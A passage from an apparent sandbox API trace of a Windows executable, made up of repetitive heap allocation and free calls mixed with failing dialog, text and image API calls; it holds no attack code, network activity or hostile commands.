Flags=0x0, Size=0x18) returned 0x2eed30 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.723] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.723] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.723] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.723] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.723] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.723] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.723] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.723] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.724] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.724] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.724] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.724] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.724] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.724] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.724] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.724] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.725] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.725] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.725] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.725] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.725] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.725] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.725] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.725] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.725] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.725] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.725] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.725] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.725] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.725] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.725] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.725] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.725] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.725] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.725] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.725] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193462233, cy=27, fuLoad=0x0) returned 0x0 [0026.725] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.725] GetLastError () returned 0x715 [0026.725] SetLastError (dwErrCode=0x715) [0026.725] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.725] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.725] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.725] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.725] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.725] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.726] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.726] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.726] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.726] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.726] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.726] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.726] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.726] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.726] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.726] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.727] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.727] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.727] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.727] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.727] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.727] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.727] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.727] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.728] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.728] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.728] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.728] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.728] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.728] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.728] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.728] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.728] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.728] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.728] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.728] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.728] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.728] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.728] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.728] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.728] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.728] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.728] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.728] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193443288, cy=27, fuLoad=0x0) returned 0x0 [0026.728] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.729] GetLastError () returned 0x715 [0026.729] SetLastError (dwErrCode=0x715) [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.729] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.729] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.729] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.729] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.729] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.729] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.729] HeapFree (in: hHeap=0x2d0000, 